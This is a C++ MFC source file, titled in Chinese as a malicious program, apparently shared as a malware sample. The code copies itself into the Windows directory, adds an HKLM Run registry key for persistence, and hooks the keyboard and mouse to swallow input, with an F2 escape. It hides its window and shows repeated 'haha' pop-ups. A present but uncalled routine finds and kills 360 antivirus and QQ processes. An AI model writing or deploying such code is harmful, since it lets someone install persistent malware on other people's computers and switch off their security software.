一个恶意程序

// KeyBoardHookDialogDlg.cpp : implementation file
//

#include "stdafx.h"
#include "KeyBoardHookDialog.h"
#include "KeyBoardHookDialogDlg.h"
#define REG_RUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
 #include <tlhelp32.h>

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//#pragma comment (lib,"KeyBoardHook")
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
//定义全局HHOOK变量，用于保存
 HHOOK  g_hMouse;
 HHOOK  g_hKeyboard;
 bool isTrue = false;

 HWND hWnd; //保存当前句柄

//注意以下俩个钩子过程是全局函数，所以里面的API要用全局的
 LRESULT CALLBACK MouseProc(
  int nCode,      // hook code
  WPARAM wParam,  // message identifier
  LPARAM lParam   // mouse coordinates
  )
 {
    return 1;    
 }

 LRESULT CALLBACK KeyboardProc(
  int code,       // hook code
  WPARAM wParam,  // virtual-key code
  LPARAM lParam   // keystroke-message information
)
{
    // if(VK_SPACE == wParam || VK_RETURN == wParam) //屏蔽空格和回车键
     /*  if(VK_F4 == wParam && (lParam>>29 & 1)) //屏蔽ALT + F4键 
            return 1;
       else
            return CallNextHookEx(g_hKeyboard,code,wParam,lParam);*/
    //留个后门，使当按下F2键时，程序将退
       if(VK_F2 == wParam)
       {
           //调用全局API函数向程序发出关闭消息
           ::SendMessage(hWnd,WM_CLOSE,0,0);
           //卸载钩子
           UnhookWindowsHookEx(g_hMouse);
           UnhookWindowsHookEx(g_hKeyboard);
       }
       return 1;
}


class CAboutDlg : public CDialog
{
public:
    CAboutDlg();

// Dialog Data
    //{{AFX_DATA(CAboutDlg)
    enum { IDD = IDD_ABOUTBOX };
    //}}AFX_DATA

    // ClassWizard generated virtual function overridesf
    //{{AFX_VIRTUAL(CAboutDlg)
    protected:
    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
    //}}AFX_VIRTUAL

// Implementation
protected:
    //{{AFX_MSG(CAboutDlg)
    //}}AFX_MSG
    DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
    //{{AFX_DATA_INIT(CAboutDlg)
    //}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CAboutDlg)
    //}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
    //{{AFX_MSG_MAP(CAboutDlg)
        // No message handlers
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CKeyBoardHookDialogDlg dialog

CKeyBoardHookDialogDlg::CKeyBoardHookDialogDlg(CWnd* pParent /*=NULL*/)
    : CDialog(CKeyBoardHookDialogDlg::IDD, pParent)
{
    //{{AFX_DATA_INIT(CKeyBoardHookDialogDlg)
        // NOTE: the ClassWizard will add member initialization here
    //}}AFX_DATA_INIT
    // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CKeyBoardHookDialogDlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CKeyBoardHookDialogDlg)
        // NOTE: the ClassWizard will add DDX and DDV calls here
    //}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CKeyBoardHookDialogDlg, CDialog)
    //{{AFX_MSG_MAP(CKeyBoardHookDialogDlg)
    ON_WM_SYSCOMMAND()
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BTN_HOOKON, OnBtnHookon)
    ON_WM_TIMER()
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CKeyBoardHookDialogDlg message handlers

BOOL CKeyBoardHookDialogDlg::OnInitDialog()
{
    CDialog::OnInitDialog();

    // Add "About..." menu item to system menu.

    // IDM_ABOUTBOX must be in the system command range.
    ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
    ASSERT(IDM_ABOUTBOX < 0xF000);

    CMenu* pSysMenu = GetSystemMenu(FALSE);
    if (pSysMenu != NULL)
    {
        CString strAboutMenu;
        strAboutMenu.LoadString(IDS_ABOUTBOX);
        if (!strAboutMenu.IsEmpty())
        {
            pSysMenu->AppendMenu(MF_SEPARATOR);
            pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
        }
    }

    // Set the icon for this dialog.  The framework does this automatically
    //  when the application's main window is not a dialog
    SetIcon(m_hIcon, TRUE);            // Set big icon
    SetIcon(m_hIcon, FALSE);        // Set small icon
    
    // TODO: Add extra initialization here


    CopySelf();
    autoRun();//注册表启动
        //设定钩子
//    ShowProcess();
    g_hMouse = SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,GetCurrentThreadId());
    g_hKeyboard = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId());
    //保存句柄
    hWnd = m_hWnd;
    
    SetTimer(1, 2000, NULL);
    isTrue = true;
    return TRUE;  // return TRUE  unless you set the focus to a control
}

void CKeyBoardHookDialogDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
    if ((nID & 0xFFF0) == IDM_ABOUTBOX)
    {
        CAboutDlg dlgAbout;
        dlgAbout.DoModal();
    }
    else
    {
        CDialog::OnSysCommand(nID, lParam);
    }
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CKeyBoardHookDialogDlg::OnPaint() 
{
    if (IsIconic())
    {
        CPaintDC dc(this); // device context for painting

        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

        // Center icon in client rectangle
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;

        // Draw the icon
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CKeyBoardHookDialogDlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}


void CKeyBoardHookDialogDlg::OnBtnHookon() 
{
    // TODO: Add your control notification handler code here

    
    
}

//DEL void CKeyBoardHookDialogDlg::OnBtnHookoff() 
//DEL {
//DEL     // TODO: Add your control notification handler code here
//DEL     SetHookOff();
//DEL     
//DEL }

void CKeyBoardHookDialogDlg::hide()
{
 
        ShowWindow(SW_HIDE); 
}


void CKeyBoardHookDialogDlg::autoRun()
{

        HKEY hKey = NULL;
        LONG lRet = RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&hKey);

        if(lRet != ERROR_SUCCESS)
        {
            return;
        }

        RegSetValueEx(hKey,"mynona",NULL,REG_SZ,(const unsigned char *)&szWindowsPath,
            strlen(szWindowsPath) +sizeof(char));

        RegCloseKey(hKey);
}

void CKeyBoardHookDialogDlg::ShowProcess()
{

    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
    //...

    PROCESSENTRY32 Pe32 = {0};
    Pe32.dwSize = sizeof(PROCESSENTRY32);
    int bRet = Process32First(hSnap,&Pe32);
    //360IOSMgrSrv 360tray 
    char name[MAX_PATH] = "QQ.exe";
    char name2[MAX_PATH] = "360tray.exe";
    char name3[MAX_PATH] = "360rp.exe";
    while(bRet)
    {
        //...
        bRet = Process32Next(hSnap,&Pe32);        
        //cout<<"id:"<<Pe32.th32ProcessID<<"   name:"<<Pe32.szExeFile<<endl;
        
        int flag = 0;
        if(strcmp(Pe32.szExeFile,name) == 0 || strcmp(Pe32.szExeFile,name3) == 0 || strcmp(Pe32.szExeFile,name2) ==0)
            flag = 1;
        if(flag){
        //    cout<<"----------------------"<<Pe32.th32ProcessID<<endl;
            MessageBox(Pe32.szExeFile);
            HANDLE hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,Pe32.th32ProcessID);
            LPDWORD lpExitCode = 0;
            GetExitCodeProcess(hProcess, lpExitCode);
            TerminateProcess(hProcess, (UINT)lpExitCode);
        }
    }
}

void CKeyBoardHookDialogDlg::CopySelf()
{

     char szSelfName[MAX_PATH] = {0};
    // char szSystemPath[MAX_PATH] = {0};
     char szTmpPath[MAX_PATH] = {0};

     //获取当前程序自身路径
     GetModuleFileName(NULL,szSelfName,MAX_PATH);
     //cout<<"szSelfName:"<<szSelfName<<endl;

     //获取系统目录
     GetWindowsDirectory(szWindowsPath,MAX_PATH);
   //  cout<<"szWindowsPath:"<<szWindowsPath<<endl;

     //获取windows目录
   //  GetSystemDirectory(szSystemPath,MAX_PATH);
     //cout<<"szSystemPath:"<<szSystemPath<<endl;

     strcat(szWindowsPath,"\\mynona.exe");
     //strcat(szSystemPath,"\\mynona.exe");

     MessageBox( szWindowsPath,": szWindowsPath");
     //MessageBox( szSystemPath,": szSystemPath");    

     int isTrue = CopyFile(szSelfName,szWindowsPath,FALSE);//FALSE表示强行覆盖原有文件
   //  int isTrue2 = CopyFile(szSelfName,szSystemPath,FALSE);

}

void CKeyBoardHookDialogDlg::OnTimer(UINT nIDEvent) 
{
    // TODO: Add your message handler code here and/or call default
    if(isTrue){
        ShowWindow(SW_HIDE); 
    }
    MessageBox("haha","哈哈",MB_ICONSTOP);

    CDialog::OnTimer(nIDEvent);
}